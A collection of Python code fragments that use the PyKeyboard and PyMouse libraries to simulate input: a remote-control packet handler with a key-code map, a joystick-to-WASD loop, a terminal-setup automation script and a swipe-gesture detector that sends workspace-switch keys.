self.keyboardMap[76] = self.pyKeyboard.alt_r_key self.keyboardMap[78] = self.pyKeyboard.backspace_key self.keyboardMap[90] = self.pyKeyboard.control_l_key self.keyboardMap[91] = self.pyKeyboard.control_r_key self.keyboardMap[93] = self.pyKeyboard.delete_key self.keyboardMap[94] = self.pyKeyboard.delete_key self.keyboardMap[96] = self.pyKeyboard.down_key self.keyboardMap[97] = self.pyKeyboard.end_key self.keyboardMap[98] = self.pyKeyboard.enter_key self.keyboardMap[99] = self.pyKeyboard.escape_key self.keyboardMap[102] = self.pyKeyboard.function_keys[1] self.keyboardMap[103] = self.pyKeyboard.function_keys[10] self.keyboardMap[104] = self.pyKeyboard.function_keys[11] self.keyboardMap[105] = self.pyKeyboard.function_keys[12] self.keyboardMap[113] = self.pyKeyboard.function_keys[2] self.keyboardMap[119] = self.pyKeyboard.function_keys[3] self.keyboardMap[120] = self.pyKeyboard.function_keys[4] self.keyboardMap[121] = self.pyKeyboard.function_keys[5] self.keyboardMap[122] = self.pyKeyboard.function_keys[6] self.keyboardMap[123] = self.pyKeyboard.function_keys[7] self.keyboardMap[124] = self.pyKeyboard.function_keys[8] self.keyboardMap[125] = self.pyKeyboard.function_keys[9] if self.osName=="Windows": self.keyboardMap[129] = self.pyKeyboard.hangul_key elif self.osName=="Linux": self.keyboardMap[129] = -1 pass self.keyboardMap[132] = self.pyKeyboard.home_key self.keyboardMap[141] = self.pyKeyboard.left_key self.keyboardMap[146] = '0' self.keyboardMap[147] = '1' self.keyboardMap[148] = '2' self.keyboardMap[149] = '3' self.keyboardMap[150] = '4' self.keyboardMap[151] = '5' self.keyboardMap[152] = '6' self.keyboardMap[153] = '7' self.keyboardMap[154] = '8' self.keyboardMap[155] = '9' self.keyboardMap[156] = self.pyKeyboard.num_lock_key self.keyboardMap[157] = self.pyKeyboard.page_down_key self.keyboardMap[158] = self.pyKeyboard.page_up_key self.keyboardMap[160] = self.pyKeyboard.page_down_key self.keyboardMap[161] = self.pyKeyboard.page_up_key self.keyboardMap[170] = self.pyKeyboard.right_key self.keyboardMap[171] = self.pyKeyboard.scroll_lock_key self.keyboardMap[175] = self.pyKeyboard.shift_l_key self.keyboardMap[176] = self.pyKeyboard.shift_r_key self.keyboardMap[180] = self.pyKeyboard.tab_key self.keyboardMap[181] = self.pyKeyboard.up_key pass def command(self,data): if data[0] == 'm': x = (ord(data[3])*100)+ord(data[4]) y = (ord(data[5])*100)+ord(data[6]) #print "x:",x," y:",y #self.controller.moveTo( x, y) # x,y self.pyMouse.move(x, y) if data[1] == 'p': #self.controller.mouseDown(x,y,self.mouseMap[ord(data[2])]) # x,y,b #print "press" self.pyMouse.press(x, y,ord(data[2])) pass elif data[1] == 'r' and ord(data[2]) != 0: #self.controller.mouseUp(x,y,self.mouseMap[ord(data[2])]) # x,y,b #print "release" self.pyMouse.release(x, y, ord(data[2])) pass if data[7] == 's': if data[8] == 'u': #self.controller.scroll(10) self.pyMouse.scroll(vertical=10) pass else: #self.controller.scroll(-10) self.pyMouse.scroll(vertical=-10) pass pass else: print 'data: ',data[0],' '+data[1],' ',ord(data[2]) keyCode=ord(data[2]) if data[1]=='p' and keyCode!=0: #self.controller.keyDown(self.controller.KEYBOARD_KEYS[ord(data[2])]) print 'press '+str(ord(data[2])) if self.keyboardMap[ord(data[2])]!=-1: self.pyKeyboard.press_key(self.keyboardMap[ord(data[2])]) pass elif data[1]=='r' and keyCode!=0: #self.controller.keyUp(self.controller.KEYBOARD_KEYS[ord(data[2])]) print 'release '+str(ord(data[2])) if self.keyboardMap[ord(data[2])]!=-1: self.pyKeyboard.release_key(self.keyboardMap[ord(data[2])]) pass pass
val = ((r[1]&3)<<8) + r[2] return val adcValues = [0 for i in range(8)] while 1: try: time.sleep(0.1) #10 hz output for ch in range(0,7): adcValues[ch] = readADC(ch) if adcValues[1] < 200: print "UP!" kbd.press_key('w') else: kbd.release_key('w') if adcValues[1] > 700: print "DOWN!" kbd.press_key('s') else: kbd.release_key('s') if adcValues[0] < 200: print "LEFT!" kbd.press_key('a') else: kbd.release_key('a') if adcValues[0] > 700: print "RIGHT!" kbd.press_key('d') else: kbd.release_key('d')
time.sleep(0.1) k.press_keys(['Alt_L', 'h']) time.sleep(0.01) k.press_keys(['Alt_L', '-']) time.sleep(0.1) k.type_string('mutt') time.sleep(0.01) k.tap_key('Return') time.sleep(0.01) k.press_key('Alt_L') k.tap_key(character='Up', n=8) time.sleep(0.01) k.tap_key('-') time.sleep(0.1) k.tap_key(character='Down', n=2) k.release_key('Alt_L') time.sleep(0.01) k.type_string('calcurse') time.sleep(0.01) k.tap_key('Return') time.sleep(0.01) k.press_keys(['Alt_L', 'l']) time.sleep(0.01) k.type_string('tmux') time.sleep(0.01) k.tap_key('Return') time.sleep(0.01) k.press_key('Alt_L') k.tap_key(character='Left', n=39) k.tap_key('o') k.release_key('Alt_L')
def keyboard(self): k = PyKeyboard() k.press_key(12) k.release_key(12)
#The gesture bounds pygame.draw.line(screen,white, (gestureRightThreshHold/3,0),(gestureRightThreshHold/3,800)) pygame.draw.line(screen,red, (gestureLeftThreshHold/3,0),(gestureLeftThreshHold/3,800)) pygame.draw.line(screen,blue, (0,gestureDownThreshHold/3),(10000,gestureDownThreshHold/3)) pygame.draw.line(screen,yellow, (0,gestureUpThreshHold/3),(10000,gestureUpThreshHold/3)) #Swipe Right to Left if allAboveGestureRight(rpt,gestureRightThreshHold) and not gesture_flg_RL: gestureTime=time.time() gesture_flg_RL=1 print("ready to gesture") if gesture_flg_RL and (time.time()-gestureTime)<1: if allAboveGestureLeft(rpt, gestureLeftThreshHold): k.press_key(k.control_key) k.press_key(k.alt_key) k.press_key(k.left_key) k.release_key(k.control_key) k.release_key(k.alt_key) k.release_key(k.left_key) gesture_flg_RL=0 #Swipe Left to Right if allAboveGestureLeft(rpt,gestureLeftThreshHold) and not gesture_flg_LR: gestureTime=time.time() gesture_flg_LR=1 print("ready to gesture") if gesture_flg_LR and (time.time()-gestureTime)<1: if allAboveGestureRight(rpt, gestureRightThreshHold): k.press_key(k.control_key) k.press_key(k.alt_key) k.press_key(k.right_key) k.release_key(k.control_key) k.release_key(k.alt_key)